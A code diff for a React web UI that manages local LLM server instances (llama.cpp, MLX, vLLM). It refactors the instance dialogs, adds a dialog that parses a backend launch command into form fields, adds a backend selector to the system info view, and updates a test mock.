+                  <Play className="h-4 w-4 mr-1" />
+                  Start
+                </>
+              )}
             </Button>
 
             <Button
@@ -99,24 +109,40 @@ function InstanceCard({
             <Button
               size="sm"
               variant="outline"
-              onClick={handleLogs}
-              title="View logs"
-              data-testid="view-logs-button"
+              onClick={() => setShowAllActions(!showAllActions)}
+              title="More actions"
             >
-              <FileText className="h-4 w-4" />
-            </Button>
-
-            <Button
-              size="sm"
-              variant="destructive"
-              onClick={handleDelete}
-              disabled={running}
-              title="Delete instance"
-              data-testid="delete-instance-button"
-            >
-              <Trash2 className="h-4 w-4" />
+              <MoreHorizontal className="h-4 w-4" />
             </Button>
           </div>
+
+          {/* Secondary actions - collapsible */}
+          {showAllActions && (
+            <div className="flex items-center gap-2 pt-2 border-t border-border">
+              <Button
+                size="sm"
+                variant="outline"
+                onClick={handleLogs}
+                title="View logs"
+                data-testid="view-logs-button"
+                className="flex-1"
+              >
+                <FileText className="h-4 w-4 mr-1" />
+                Logs
+              </Button>
+
+              <Button
+                size="sm"
+                variant="destructive"
+                onClick={handleDelete}
+                disabled={running}
+                title="Delete instance"
+                data-testid="delete-instance-button"
+              >
+                <Trash2 className="h-4 w-4" />
+              </Button>
+            </div>
+          )}
         </CardContent>
       </Card>
 

webui/src/components/InstanceDialog.tsx

@@ -1,7 +1,5 @@
 import React, { useState, useEffect } from "react";
 import { Button } from "@/components/ui/button";
-import { Input } from "@/components/ui/input";
-import { Label } from "@/components/ui/label";
 import {
   Dialog,
   DialogContent,
@@ -11,10 +9,9 @@ import {
   DialogTitle,
 } from "@/components/ui/dialog";
 import { BackendType, type CreateInstanceOptions, type Instance } from "@/types/instance";
-import { getBasicFields, getAdvancedFields, getBasicBackendFields, getAdvancedBackendFields } from "@/lib/zodFormUtils";
-import { ChevronDown, ChevronRight } from "lucide-react";
-import ZodFormField from "@/components/ZodFormField";
-import BackendFormField from "@/components/BackendFormField";
+import ParseCommandDialog from "@/components/ParseCommandDialog";
+import InstanceSettingsCard from "@/components/instance/InstanceSettingsCard";
+import BackendConfigurationCard from "@/components/instance/BackendConfigurationCard";
 
 interface InstanceDialogProps {
   open: boolean;
@@ -33,14 +30,9 @@ const InstanceDialog: React.FC<InstanceDialogProps> = ({
 
   const [instanceName, setInstanceName] = useState("");
   const [formData, setFormData] = useState<CreateInstanceOptions>({});
-  const [showAdvanced, setShowAdvanced] = useState(false);
   const [nameError, setNameError] = useState("");
+  const [showParseDialog, setShowParseDialog] = useState(false);
 
-  // Get field lists dynamically from the type
-  const basicFields = getBasicFields();
-  const advancedFields = getAdvancedFields();
-  const basicBackendFields = getBasicBackendFields();
-  const advancedBackendFields = getAdvancedBackendFields();
 
   // Reset form when dialog opens/closes or when instance changes
   useEffect(() => {
@@ -58,16 +50,26 @@ const InstanceDialog: React.FC<InstanceDialogProps> = ({
           backend_options: {},
         });
       }
-      setShowAdvanced(false); // Always start with basic view
       setNameError(""); // Reset any name errors
     }
   }, [open, instance]);
 
   const handleFieldChange = (key: keyof CreateInstanceOptions, value: any) => {
-    setFormData((prev) => ({
-      ...prev,
-      [key]: value,
-    }));
+    setFormData((prev) => {
+      // If backend_type is changing, clear backend_options
+      if (key === 'backend_type' && prev.backend_type !== value) {
+        return {
+          ...prev,
+          [key]: value,
+          backend_options: {}, // Clear backend options when backend type changes
+        };
+      }
+      
+      return {
+        ...prev,
+        [key]: value,
+      };
+    });
   };
 
   const handleBackendFieldChange = (key: string, value: any) => {
@@ -76,7 +78,7 @@ const InstanceDialog: React.FC<InstanceDialogProps> = ({
       backend_options: {
         ...prev.backend_options,
         [key]: value,
-      },
+      } as any,
     }));
   };
 
@@ -104,7 +106,7 @@ const InstanceDialog: React.FC<InstanceDialogProps> = ({
     // Clean up undefined values to avoid sending empty fields
     const cleanOptions: CreateInstanceOptions = {};
     Object.entries(formData).forEach(([key, value]) => {
-      if (key === 'backend_options' && value && typeof value === 'object') {
+      if (key === 'backend_options' && value && typeof value === 'object' && !Array.isArray(value)) {
         // Handle backend_options specially - clean nested object
         const cleanBackendOptions: any = {};
         Object.entries(value).forEach(([backendKey, backendValue]) => {
@@ -116,13 +118,17 @@ const InstanceDialog: React.FC<InstanceDialogProps> = ({
             cleanBackendOptions[backendKey] = backendValue;
           }
         });
-        
+
         // Only include backend_options if it has content
         if (Object.keys(cleanBackendOptions).length > 0) {
           (cleanOptions as any)[key] = cleanBackendOptions;
         }
-      } else if (value !== undefined && value !== null && (typeof value !== 'string' || value.trim() !== "")) {
-        // Handle arrays - don't include empty arrays
+      } else if (value !== undefined && value !== null) {
+        // Skip empty strings
+        if (typeof value === 'string' && value.trim() === "") {
+          return;
+        }
+        // Skip empty arrays
         if (Array.isArray(value) && value.length === 0) {
           return;
         }
@@ -138,12 +144,15 @@ const InstanceDialog: React.FC<InstanceDialogProps> = ({
     onOpenChange(false);
   };
 
-  const toggleAdvanced = () => {
-    setShowAdvanced(!showAdvanced);
+
+  const handleCommandParsed = (parsedOptions: CreateInstanceOptions) => {
+    setFormData(prev => ({
+      ...prev,
+      ...parsedOptions,
+    }));
+    setShowParseDialog(false);
   };
 
-  // Check if auto_restart is enabled
-  const isAutoRestartEnabled = formData.auto_restart === true;
 
   // Save button label logic
   let saveButtonLabel = "Create Instance";
@@ -170,168 +179,25 @@ const InstanceDialog: React.FC<InstanceDialogProps> = ({
         </DialogHeader>
 
         <div className="flex-1 overflow-y-auto">
-          <div className="grid gap-6 py-4">
-            {/* Instance Name - Special handling since it's not in CreateInstanceOptions */}
-            <div className="grid gap-2">
-              <Label htmlFor="name">
-                Instance Name <span className="text-red-500">*</span>
-              </Label>
-              <Input
-                id="name"
-                value={instanceName}
-                onChange={(e) => handleNameChange(e.target.value)}
-                placeholder="my-instance"
-                disabled={isEditing} // Don't allow name changes when editing
-                className={nameError ? "border-red-500" : ""}
-              />
-              {nameError && <p className="text-sm text-red-500">{nameError}</p>}
-              <p className="text-sm text-muted-foreground">
-                Unique identifier for the instance
-              </p>
-            </div>
+          <div className="space-y-6 py-4">
+            {/* Instance Settings Card */}
+            <InstanceSettingsCard
+              instanceName={instanceName}
+              nameError={nameError}
+              isEditing={isEditing}
+              formData={formData}
+              onNameChange={handleNameChange}
+              onChange={handleFieldChange}
+            />
 
-            {/* Auto Restart Configuration Section */}
-            <div className="space-y-4">
-              <h3 className="text-lg font-medium">
-                Auto Restart Configuration
-              </h3>
+            {/* Backend Configuration Card */}
+            <BackendConfigurationCard
+              formData={formData}
+              onBackendFieldChange={handleBackendFieldChange}
+              onChange={handleFieldChange}
+              onParseCommand={() => setShowParseDialog(true)}
+            />
 
-              {/* Auto Restart Toggle */}
-              <ZodFormField
-                fieldKey="auto_restart"
-                value={formData.auto_restart}
-                onChange={handleFieldChange}
-              />
-
-              {/* Show restart options only when auto restart is enabled */}
-              {isAutoRestartEnabled && (
-                <div className="ml-6 space-y-4 border-l-2 border-muted pl-4">
-                  <ZodFormField
-                    fieldKey="max_restarts"
-                    value={formData.max_restarts}
-                    onChange={handleFieldChange}
-                  />
-                  <ZodFormField
-                    fieldKey="restart_delay"
-                    value={formData.restart_delay}
-                    onChange={handleFieldChange}
-                  />
-                </div>
-              )}
-            </div>
-
-            {/* Basic Fields - Automatically generated from type (excluding auto restart options) */}
-            <div className="space-y-4">
-              <h3 className="text-lg font-medium">Basic Configuration</h3>
-              {basicFields
-                .filter(
-                  (fieldKey) =>
-                    fieldKey !== "auto_restart" &&
-                    fieldKey !== "max_restarts" &&
-                    fieldKey !== "restart_delay" &&
-                    fieldKey !== "backend_options" // backend_options is handled separately
-                ) 
-                .map((fieldKey) => (
-                  <ZodFormField
-                    key={fieldKey}
-                    fieldKey={fieldKey}
-                    value={formData[fieldKey]}
-                    onChange={handleFieldChange}
-                  />
-                ))}
-            </div>
-
-            {/* Backend Configuration Section */}
-            <div className="space-y-4">
-              <h3 className="text-lg font-medium">Backend Configuration</h3>
-              
-              {/* Basic backend fields */}
-              {basicBackendFields.map((fieldKey) => (
-                <BackendFormField
-                  key={fieldKey}
-                  fieldKey={fieldKey}
-                  value={formData.backend_options?.[fieldKey]}
-                  onChange={handleBackendFieldChange}
-                />
-              ))}
-            </div>
-
-            {/* Advanced Fields Toggle */}
-            <div className="border-t pt-4">
-              <Button
-                variant="ghost"
-                onClick={toggleAdvanced}
-                className="flex items-center gap-2 p-0 h-auto font-medium"
-              >
-                {showAdvanced ? (
-                  <ChevronDown className="h-4 w-4" />
-                ) : (
-                  <ChevronRight className="h-4 w-4" />
-                )}
-                Advanced Configuration
-                <span className="text-muted-foreground text-sm font-normal">
-                  (
-                  {
-                    advancedFields.filter(
-                      (f) =>
-                        !["max_restarts", "restart_delay", "backend_options"].includes(f as string)
-                    ).length + advancedBackendFields.length
-                  }{" "}
-                  options)
-                </span>
-              </Button>
-            </div>
-
-            {/* Advanced Fields - Automatically generated from type (excluding restart options) */}
-            {showAdvanced && (
-              <div className="space-y-4 pl-6 border-l-2 border-muted">
-                {/* Advanced instance fields */}
-                {advancedFields
-                  .filter(
-                    (fieldKey) =>
-                      !["max_restarts", "restart_delay", "backend_options"].includes(
-                        fieldKey as string
-                      )
-                  ).length > 0 && (
-                  <div className="space-y-4">
-                    <h4 className="text-md font-medium">Advanced Instance Configuration</h4>
-                    {advancedFields
-                      .filter(
-                        (fieldKey) =>
-                          !["max_restarts", "restart_delay", "backend_options"].includes(
-                            fieldKey as string
-                          )
-                      )
-                      .sort()
-                      .map((fieldKey) => (
-                        <ZodFormField
-                          key={fieldKey}
-                          fieldKey={fieldKey}
-                          value={fieldKey === 'backend_options' ? undefined : formData[fieldKey]}
-                          onChange={handleFieldChange}
-                        />
-                      ))}
-                  </div>
-                )}
-
-                {/* Advanced backend fields */}
-                {advancedBackendFields.length > 0 && (
-                  <div className="space-y-4">
-                    <h4 className="text-md font-medium">Advanced Backend Configuration</h4>
-                    {advancedBackendFields
-                      .sort()
-                      .map((fieldKey) => (
-                        <BackendFormField
-                          key={fieldKey}
-                          fieldKey={fieldKey}
-                          value={formData.backend_options?.[fieldKey]}
-                          onChange={handleBackendFieldChange}
-                        />
-                      ))}
-                  </div>
-                )}
-              </div>
-            )}
           </div>
         </div>
 
@@ -352,6 +218,13 @@ const InstanceDialog: React.FC<InstanceDialogProps> = ({
           </Button>
         </DialogFooter>
       </DialogContent>
+      
+      <ParseCommandDialog
+        open={showParseDialog}
+        onOpenChange={setShowParseDialog}
+        onParsed={handleCommandParsed}
+        backendType={formData.backend_type || BackendType.LLAMA_CPP}
+      />
     </Dialog>
   );
 };

webui/src/components/ParseCommandDialog.tsx

@@ -0,0 +1,151 @@
+import React, { useState } from "react";
+import { Button } from "@/components/ui/button";
+import { Label } from "@/components/ui/label";
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+} from "@/components/ui/dialog";
+import { BackendType, type BackendTypeValue, type CreateInstanceOptions } from "@/types/instance";
+import { backendsApi } from "@/lib/api";
+import { toast } from "sonner";
+
+interface ParseCommandDialogProps {
+  open: boolean;
+  onOpenChange: (open: boolean) => void;
+  onParsed: (options: CreateInstanceOptions) => void;
+  backendType: BackendTypeValue;
+}
+
+const ParseCommandDialog: React.FC<ParseCommandDialogProps> = ({
+  open,
+  onOpenChange,
+  onParsed,
+  backendType,
+}) => {
+  const [command, setCommand] = useState('');
+  const [loading, setLoading] = useState(false);
+  const [error, setError] = useState<string | null>(null);
+
+  const handleParse = async () => {
+    if (!command.trim()) {
+      setError("Command cannot be empty");
+      return;
+    }
+
+    setLoading(true);
+    setError(null);
+
+    try {
+      let options: CreateInstanceOptions;
+
+      // Parse based on selected backend type
+      switch (backendType) {
+        case BackendType.LLAMA_CPP:
+          options = await backendsApi.llamaCpp.parseCommand(command);
+          break;
+        case BackendType.MLX_LM:
+          options = await backendsApi.mlx.parseCommand(command);
+          break;
+        case BackendType.VLLM:
+          options = await backendsApi.vllm.parseCommand(command);
+          break;
+        default:
+          throw new Error(`Unsupported backend type: ${backendType}`);
+      }
+
+      onParsed(options);
+      onOpenChange(false);
+      setCommand('');
+      setError(null);
+      toast.success('Command parsed successfully');
+    } catch (err) {
+      const errorMessage = err instanceof Error ? err.message : 'Failed to parse command';
+      setError(errorMessage);
+      toast.error('Failed to parse command', {
+        description: errorMessage
+      });
+    } finally {
+      setLoading(false);
+    }
+  };
+
+  const handleOpenChange = (open: boolean) => {
+    if (!open) {
+      setCommand('');
+      setError(null);
+    }
+    onOpenChange(open);
+  };
+
+  const backendPlaceholders: Record<BackendTypeValue, string> = {
+    [BackendType.LLAMA_CPP]: "llama-server --model /path/to/model.gguf --gpu-layers 32 --ctx-size 4096",
+    [BackendType.MLX_LM]: "mlx_lm.server --model mlx-community/Mistral-7B-Instruct-v0.3-4bit --host 0.0.0.0 --port 8080",
+    [BackendType.VLLM]: "vllm serve microsoft/DialoGPT-medium --tensor-parallel-size 2 --gpu-memory-utilization 0.9",
+  };
+
+  const getPlaceholderForBackend = (backendType: BackendTypeValue): string => {
+    return backendPlaceholders[backendType] || "Enter your command here...";
+  };
+
+  return (
+    <Dialog open={open} onOpenChange={handleOpenChange}>
+      <DialogContent className="sm:max-w-[600px]">
+        <DialogHeader>
+          <DialogTitle>Parse Backend Command</DialogTitle>
+          <DialogDescription>
+            Select your backend type and paste the command to automatically populate the form fields
+          </DialogDescription>
+        </DialogHeader>
+
+        <div className="space-y-4">
+          <div>
+            <Label className="text-sm font-medium">Backend Type:
+              <span className="font-normal text-muted-foreground">
+                {backendType === BackendType.LLAMA_CPP && 'Llama Server'}
+                {backendType === BackendType.MLX_LM && 'MLX LM'}
+                {backendType === BackendType.VLLM && 'vLLM'}
+              </span>
+            </Label>
+          </div>
+
+          <div>
+            <Label htmlFor="command">Command</Label>
+            <textarea
+              id="command"
+              value={command}
+              onChange={(e) => setCommand(e.target.value)}
+              placeholder={getPlaceholderForBackend(backendType)}
+              className="w-full h-32 p-3 mt-2 border border-input rounded-md font-mono text-sm resize-vertical focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2"
+            />
+          </div>
+
+          {error && (
+            <div className="text-destructive text-sm bg-destructive/10 p-3 rounded-md">
+              {error}
+            </div>
+          )}
+        </div>
+
+        <DialogFooter>
+          <Button variant="outline" onClick={() => handleOpenChange(false)}>
+            Cancel
+          </Button>
+          <Button 
+            onClick={() => {
+              handleParse().catch(console.error);
+            }}
+            disabled={!command.trim() || loading}
+          >
+            {loading ? 'Parsing...' : 'Parse Command'}
+          </Button>
+        </DialogFooter>
+      </DialogContent>
+    </Dialog>
+  );
+};
+
+export default ParseCommandDialog;

webui/src/components/SystemInfoDialog.tsx

@@ -8,16 +8,19 @@ import {
   DialogHeader,
   DialogTitle,
 } from '@/components/ui/dialog'
-import { 
-  RefreshCw, 
+import SelectInput from '@/components/form/SelectInput'
+import {
+  RefreshCw,
   AlertCircle,
   Loader2,
   ChevronDown,
   ChevronRight,
   Monitor,
-  HelpCircle
+  HelpCircle,
+  Info
 } from 'lucide-react'
 import { serverApi } from '@/lib/api'
+import { BackendType, type BackendTypeValue } from '@/types/instance'
 
 // Helper to get version from environment
 const getAppVersion = (): string => {
@@ -28,166 +31,234 @@ const getAppVersion = (): string => {
   }
 }
 
-interface SystemInfoModalProps {
+interface SystemInfoDialogProps {
   open: boolean
   onOpenChange: (open: boolean) => void
 }
 
-interface SystemInfo {
+interface BackendInfo {
   version: string
   devices: string
   help: string
 }
 
-const SystemInfoDialog: React.FC<SystemInfoModalProps> = ({
+const BACKEND_OPTIONS = [
+  { value: BackendType.LLAMA_CPP, label: 'Llama Server' },
+  { value: BackendType.MLX_LM, label: 'MLX LM' },
+  { value: BackendType.VLLM, label: 'vLLM' },
+]
+
+const SystemInfoDialog: React.FC<SystemInfoDialogProps> = ({
   open,
   onOpenChange
 }) => {
-  const [systemInfo, setSystemInfo] = useState<SystemInfo | null>(null)
+  const [selectedBackend, setSelectedBackend] = useState<BackendTypeValue>(BackendType.LLAMA_CPP)
+  const [backendInfo, setBackendInfo] = useState<BackendInfo | null>(null)
   const [loading, setLoading] = useState(false)
   const [error, setError] = useState<string | null>(null)
   const [showHelp, setShowHelp] = useState(false)
 
-  // Fetch system info
-  const fetchSystemInfo = async () => {
+  // Fetch backend info
+  const fetchBackendInfo = async (backend: BackendTypeValue) => {
+    if (backend !== BackendType.LLAMA_CPP) {
+      setBackendInfo(null)
+      setError(null)
+      return
+    }
+
     setLoading(true)
     setError(null)
-    
+
     try {
       const [version, devices, help] = await Promise.all([
         serverApi.getVersion(),
         serverApi.getDevices(),
         serverApi.getHelp()
       ])
-      
-      setSystemInfo({ version, devices, help })
+
+      setBackendInfo({ version, devices, help })
     } catch (err) {
-      setError(err instanceof Error ? err.message : 'Failed to fetch system info')
+      setError(err instanceof Error ? err.message : 'Failed to fetch backend info')
     } finally {
       setLoading(false)
     }
   }
 
-  // Load data when dialog opens
+  // Load data when dialog opens or backend changes
   useEffect(() => {
     if (open) {
-      fetchSystemInfo()
+      void fetchBackendInfo(selectedBackend)
     }
-  }, [open])
+  }, [open, selectedBackend])
+
+  const handleBackendChange = (value: string) => {
+    setSelectedBackend(value as BackendTypeValue)
+    setShowHelp(false) // Reset help section when switching backends
+  }
+
+  const renderBackendSpecificContent = () => {
+    if (selectedBackend !== BackendType.LLAMA_CPP) {
+      return (
+        <div className="flex items-center justify-center py-8">
+          <div className="text-center space-y-3">
+            <Info className="h-8 w-8 text-gray-400 mx-auto" />
+            <div>
+              <h3 className="font-semibold text-gray-700">Backend Info Not Available</h3>
+              <p className="text-sm text-gray-500 mt-1">
+                Information for {BACKEND_OPTIONS.find(b => b.value === selectedBackend)?.label} backend is not yet implemented.
+              </p>
+            </div>
+          </div>
+        </div>
+      )
+    }
+
+    if (loading && !backendInfo) {
+      return (
+        <div className="flex items-center justify-center py-8">
+          <Loader2 className="h-6 w-6 animate-spin text-gray-400" />
+          <span className="ml-2 text-gray-400">Loading backend information...</span>
+        </div>
+      )
+    }
+
+    if (error) {
+      return (
+        <div className="flex items-center gap-2 p-4 bg-destructive/10 border border-destructive/20 rounded-lg">
+          <AlertCircle className="h-4 w-4 text-destructive" />
+          <span className="text-sm text-destructive">{error}</span>
+        </div>
+      )
+    }
+
+    if (!backendInfo) {
+      return null
+    }
+
+    return (
+      <div className="space-y-6">
+        {/* Backend Version Section */}
+        <div className="space-y-3">
+          <h3 className="font-semibold">
+            {BACKEND_OPTIONS.find(b => b.value === selectedBackend)?.label} Version
+          </h3>
+
+          <div className="bg-gray-900 rounded-lg p-4">
+            <div className="mb-2">
+              <span className="text-sm text-gray-400">$ llama-server --version</span>
+            </div>
+            <pre className="text-sm text-gray-300 whitespace-pre-wrap font-mono">
+              {backendInfo.version}
+            </pre>
+          </div>
+        </div>
+
+        {/* Devices Section */}
+        <div className="space-y-3">
+          <div className="flex items-center gap-2">
+            <h3 className="font-semibold">Available Devices</h3>
+          </div>
+
+          <div className="bg-gray-900 rounded-lg p-4">
+            <div className="mb-2">
+              <span className="text-sm text-gray-400">$ llama-server --list-devices</span>
+            </div>
+            <pre className="text-sm text-gray-300 whitespace-pre-wrap font-mono">
+              {backendInfo.devices}
+            </pre>
+          </div>
+        </div>
+
+        {/* Help Section */}
+        <div className="space-y-3">
+          <Button
+            variant="ghost"
+            onClick={() => setShowHelp(!showHelp)}
+            className="flex items-center gap-2 p-0 h-auto font-semibold"
+          >
+            {showHelp ? (
+              <ChevronDown className="h-4 w-4" />
+            ) : (
+              <ChevronRight className="h-4 w-4" />
+            )}
+            <HelpCircle className="h-4 w-4" />
+            Command Line Options
+          </Button>
+
+          {showHelp && (
+            <div className="bg-gray-900 rounded-lg p-4">
+              <div className="mb-2">
+                <span className="text-sm text-gray-400">$ llama-server --help</span>
+              </div>
+              <pre className="text-sm text-gray-300 whitespace-pre-wrap font-mono max-h-64 overflow-y-auto">
+                {backendInfo.help}
+              </pre>
+            </div>
+          )}
+        </div>
+      </div>
+    )
+  }
 
   return (
-    <Dialog open={open} onOpenChange={onOpenChange} >
+    <Dialog open={open} onOpenChange={onOpenChange}>
       <DialogContent className="sm:max-w-4xl max-w-[calc(100%-2rem)] max-h-[80vh] flex flex-col">
         <DialogHeader>
-          <div className="flex items-center justify-between">
-            <div>
-              <DialogTitle className="flex items-center gap-2">
-                <Monitor className="h-5 w-5" />
-                System Information
-              </DialogTitle>
-              <DialogDescription>
-                Llama.cpp server environment and capabilities
-              </DialogDescription>
-            </div>
-            
-            <Button
-              variant="outline"
-              size="sm"
-              onClick={fetchSystemInfo}
-              disabled={loading}
-            >
-              {loading ? (
-                <Loader2 className="h-4 w-4 animate-spin" />
-              ) : (
-                <RefreshCw className="h-4 w-4" />
-              )}
-            </Button>
-          </div>
+          <DialogTitle className="flex items-center gap-2">
+            <Monitor className="h-5 w-5" />
+            System Information
+          </DialogTitle>
+          <DialogDescription>
+            View system and backend-specific environment and capabilities
+          </DialogDescription>
         </DialogHeader>
 
         <div className="flex-1 overflow-y-auto">
-          {loading && !systemInfo ? (
-            <div className="flex items-center justify-center py-12">
-              <Loader2 className="h-6 w-6 animate-spin text-gray-400" />
-              <span className="ml-2 text-gray-400">Loading system information...</span>
+          <div className="space-y-6">
+            {/* Llamactl Version Section - Always shown */}
+            <div className="space-y-3">
+              <h3 className="font-semibold">Llamactl Version</h3>
+              <div className="bg-gray-900 rounded-lg p-4">
+                <pre className="text-sm text-gray-300 whitespace-pre-wrap font-mono">
+                  {getAppVersion()}
+                </pre>
+              </div>
             </div>
-          ) : error ? (
-            <div className="flex items-center gap-2 p-4 bg-destructive/10 border border-destructive/20 rounded-lg">
-              <AlertCircle className="h-4 w-4 text-destructive" />
-              <span className="text-sm text-destructive">{error}</span>
-            </div>
-          ) : systemInfo ? (
-            <div className="space-y-6">
-              {/* Llamactl Version Section */}
-              <div className="space-y-3">
-                <h3 className="font-semibold">Llamactl Version</h3>
-                
-                <div className="bg-gray-900 rounded-lg p-4">
-                  <pre className="text-sm text-gray-300 whitespace-pre-wrap font-mono">
-                    {getAppVersion()}
-                  </pre>
-                </div>
-              </div>
 
-              {/* Llama Server Version Section */}
-              <div className="space-y-3">
-                <h3 className="font-semibold">Llama Server Version</h3>
-                
-                <div className="bg-gray-900 rounded-lg p-4">
-                  <div className="mb-2">
-                    <span className="text-sm text-gray-400">$ llama-server --version</span>
-                  </div>
-                  <pre className="text-sm text-gray-300 whitespace-pre-wrap font-mono">
-                    {systemInfo.version}
-                  </pre>
+            {/* Backend Selection Section */}
+            <div className="space-y-3">
+              <h3 className="font-semibold">Backend Information</h3>
+              <div className="flex items-center gap-3">
+                <div className="flex-1">
+                  <SelectInput
+                    id="backend-select"
+                    label=""
+                    value={selectedBackend}
+                    onChange={(value) => handleBackendChange(value || BackendType.LLAMA_CPP)}
+                    options={BACKEND_OPTIONS}
+                    className="text-sm"
+                  />
                 </div>
-              </div>
-
-              {/* Devices Section */}
-              <div className="space-y-3">
-                <div className="flex items-center gap-2">
-                  <h3 className="font-semibold">Available Devices</h3>
-                </div>
-                
-                <div className="bg-gray-900 rounded-lg p-4">
-                  <div className="mb-2">
-                    <span className="text-sm text-gray-400">$ llama-server --list-devices</span>
-                  </div>
-                  <pre className="text-sm text-gray-300 whitespace-pre-wrap font-mono">
-                    {systemInfo.devices}
-                  </pre>
-                </div>
-              </div>
-
-              {/* Help Section */}
-              <div className="space-y-3">
-                <Button
-                  variant="ghost"
-                  onClick={() => setShowHelp(!showHelp)}
-                  className="flex items-center gap-2 p-0 h-auto font-semibold"
-                >
-                  {showHelp ? (
-                    <ChevronDown className="h-4 w-4" />
-                  ) : (
-                    <ChevronRight className="h-4 w-4" />
-                  )}
-                  <HelpCircle className="h-4 w-4" />
-                  Command Line Options
-                </Button>
-                
-                {showHelp && (
-                  <div className="bg-gray-900 rounded-lg p-4">
-                    <div className="mb-2">
-                      <span className="text-sm text-gray-400">$ llama-server --help</span>
-                    </div>
-                    <pre className="text-sm text-gray-300 whitespace-pre-wrap font-mono max-h-64 overflow-y-auto">
-                      {systemInfo.help}
-                    </pre>
-                  </div>
+                {selectedBackend === BackendType.LLAMA_CPP && (
+                  <Button
+                    variant="outline"
+                    size="sm"
+                    onClick={() => void fetchBackendInfo(selectedBackend)}
+                    disabled={loading}
+                  >
+                    {loading ? (
+                      <Loader2 className="h-4 w-4 animate-spin" />
+                    ) : (
+                      <RefreshCw className="h-4 w-4" />
+                    )}
+                  </Button>
                 )}
               </div>
             </div>
-          ) : null}
+
+            {/* Backend-specific content */}
+            {renderBackendSpecificContent()}
+          </div>
         </div>
 
         <DialogFooter>

webui/src/components/ZodFormField.tsx

@@ -1,148 +0,0 @@
-import React from 'react'
-import { Input } from '@/components/ui/input'
-import { Label } from '@/components/ui/label'
-import { Checkbox } from '@/components/ui/checkbox'
-import type { CreateInstanceOptions } from '@/types/instance'
-import { BackendType } from '@/types/instance'
-import { getFieldType, basicFieldsConfig } from '@/lib/zodFormUtils'
-
-interface ZodFormFieldProps {
-  fieldKey: keyof CreateInstanceOptions
-  value: string | number | boolean | string[] | undefined
-  onChange: (key: keyof CreateInstanceOptions, value: string | number | boolean | string[] | undefined) => void
-}
-
-const ZodFormField: React.FC<ZodFormFieldProps> = ({ fieldKey, value, onChange }) => {
-  // Get configuration for basic fields, or use field name for advanced fields
-  const config = basicFieldsConfig[fieldKey as string] || { label: fieldKey }
-  
-  // Get type from Zod schema
-  const fieldType = getFieldType(fieldKey)
-
-  const handleChange = (newValue: string | number | boolean | string[] | undefined) => {
-    onChange(fieldKey, newValue)
-  }
-
-  const renderField = () => {
-    // Special handling for backend_type field - render as dropdown
-    if (fieldKey === 'backend_type') {
-      return (
-        <div className="grid gap-2">
-          <Label htmlFor={fieldKey}>
-            {config.label}
-            {config.required && <span className="text-red-500 ml-1">*</span>}
-          </Label>
-          <select
-            id={fieldKey}
-            value={typeof value === 'string' ? value : BackendType.LLAMA_CPP}
-            onChange={(e) => handleChange(e.target.value || undefined)}
-            className="flex h-10 w-full rounded-md border border-input bg-background px-3 py-2 text-sm ring-offset-background file:border-0 file:bg-transparent file:text-sm file:font-medium placeholder:text-muted-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:cursor-not-allowed disabled:opacity-50"
-          >
-            <option value={BackendType.LLAMA_CPP}>Llama Server</option>
-            {/* Add more backend types here as they become available */}
-          </select>
-          {config.description && (
-            <p className="text-sm text-muted-foreground">{config.description}</p>
-          )}
-        </div>
-      )
-    }
-
-    switch (fieldType) {
-      case 'boolean':
-        return (
-          <div className="flex items-center space-x-2">
-            <Checkbox
-              id={fieldKey}
-              checked={typeof value === 'boolean' ? value : false}
-              onCheckedChange={(checked) => handleChange(checked)}
-            />
-            <Label htmlFor={fieldKey} className="text-sm font-normal">
-              {config.label}
-              {config.description && (
-                <span className="text-muted-foreground ml-1">- {config.description}</span>
-              )}
-            </Label>
-          </div>
-        )
-
-      case 'number':
-        return (
-          <div className="grid gap-2">
-            <Label htmlFor={fieldKey}>
-              {config.label}
-              {config.required && <span className="text-red-500 ml-1">*</span>}
-            </Label>
-            <Input
-              id={fieldKey}
-              type="number"
-              step="any" // This allows decimal numbers
-              value={typeof value === 'string' || typeof value === 'number' ? value : ''}
-              onChange={(e) => {
-                const numValue = e.target.value ? parseFloat(e.target.value) : undefined
-                // Only update if the parsed value is valid or the input is empty
-                if (e.target.value === '' || (numValue !== undefined && !isNaN(numValue))) {
-                  handleChange(numValue)
-                }
-              }}
-              placeholder={config.placeholder}
-            />
-            {config.description && (
-              <p className="text-sm text-muted-foreground">{config.description}</p>
-            )}
-          </div>
-        )
-
-      case 'array':
-        return (
-          <div className="grid gap-2">
-            <Label htmlFor={fieldKey}>
-              {config.label}
-              {config.required && <span className="text-red-500 ml-1">*</span>}
-            </Label>
-            <Input
-              id={fieldKey}
-              type="text"
-              value={Array.isArray(value) ? value.join(', ') : ''}
-              onChange={(e) => {
-                const arrayValue = e.target.value 
-                  ? e.target.value.split(',').map(s => s.trim()).filter(Boolean)
-                  : undefined
-                handleChange(arrayValue)
-              }}
-              placeholder="item1, item2, item3"
-            />
-            {config.description && (
-              <p className="text-sm text-muted-foreground">{config.description}</p>
-            )}
-            <p className="text-xs text-muted-foreground">Separate multiple values with commas</p>
-          </div>
-        )
-
-      case 'text':
-      default:
-        return (
-          <div className="grid gap-2">
-            <Label htmlFor={fieldKey}>
-              {config.label}
-              {config.required && <span className="text-red-500 ml-1">*</span>}
-            </Label>
-            <Input
-              id={fieldKey}
-              type="text"
-              value={typeof value === 'string' || typeof value === 'number' ? value : ''}
-              onChange={(e) => handleChange(e.target.value || undefined)}
-              placeholder={config.placeholder}
-            />
-            {config.description && (
-              <p className="text-sm text-muted-foreground">{config.description}</p>
-            )}
-          </div>
-        )
-    }
-  }
-
-  return <div className="space-y-2">{renderField()}</div>
-}
-
-export default ZodFormField

webui/src/components/__tests__/InstanceCard.test.tsx

@@ -2,12 +2,16 @@ import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'
 import { render, screen } from '@testing-library/react'
 import userEvent from '@testing-library/user-event'
 import InstanceCard from '@/components/InstanceCard'
-import type { Instance } from '@/types/instance'
-import { BackendType } from '@/types/instance'
+import { type Instance, BackendType } from '@/types/instance'
 
 // Mock the health hook since we're not testing health logic here
 vi.mock('@/hooks/useInstanceHealth', () => ({
-  useInstanceHealth: vi.fn(() => ({ status: 'ok', lastChecked: new Date() }))
+  useInstanceHealth: vi.fn(() => ({
+    state: 'ready',
+    instanceStatus: 'running',
+    lastChecked: new Date(),
+    source: 'http'
+  }))
 }))
 
 describe('InstanceCard - Instance Actions and State', () => {
